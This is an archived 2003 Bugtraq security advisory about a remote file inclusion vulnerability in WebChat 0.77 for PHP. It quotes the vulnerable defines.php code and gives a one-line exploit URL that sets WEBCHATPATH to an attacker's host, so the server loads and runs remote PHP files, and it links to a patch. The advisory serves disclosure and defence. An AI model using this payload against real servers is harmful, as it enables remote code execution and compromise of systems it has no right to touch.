WebChat (PHP)
From: Frog Man (leseulfrog@hotmail.com)
Date: 03/03/03
- Previous message: Daniel Ahlberg: "GLSA: vte (200303-2)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: "Frog Man" <leseulfrog@hotmail.com> To: bugtraq@securityfocus.com Date: Mon, 03 Mar 2003 13:57:43 +0100
Informations :
같같같같같같같
Version : 0.77
Website : http://www.webdev.ro
Problem : File Including
PHP Code/Location :
같같같같같같같같같�
defines.php :
-----------------------------------------------
<?
if (!isset($WEBCHATPATH)) {
$WEBCHATPATH = './';
}
include ($WEBCHATPATH.'db_mysql.php');
include ($WEBCHATPATH.'language/english.php');
[...]
-----------------------------------------------
Exploits :
같같같같같
http://[target]/defines.php?WEBCHATPATH=http://[attacker]/
with :
http://[attacker]/db_mysql.php and
http://[attacker]/language/english.php
Patch :
같같같�
A patch can be found on http://www.phpsecure.info (-> New Version !! :))
More Details :
같같같같같같같
In French :
http://www.frog-man.org/tutos/WebChat.txt
frog-m@n
_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !
http://messenger.fr.msn.be
- Previous message: Daniel Ahlberg: "GLSA: vte (200303-2)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
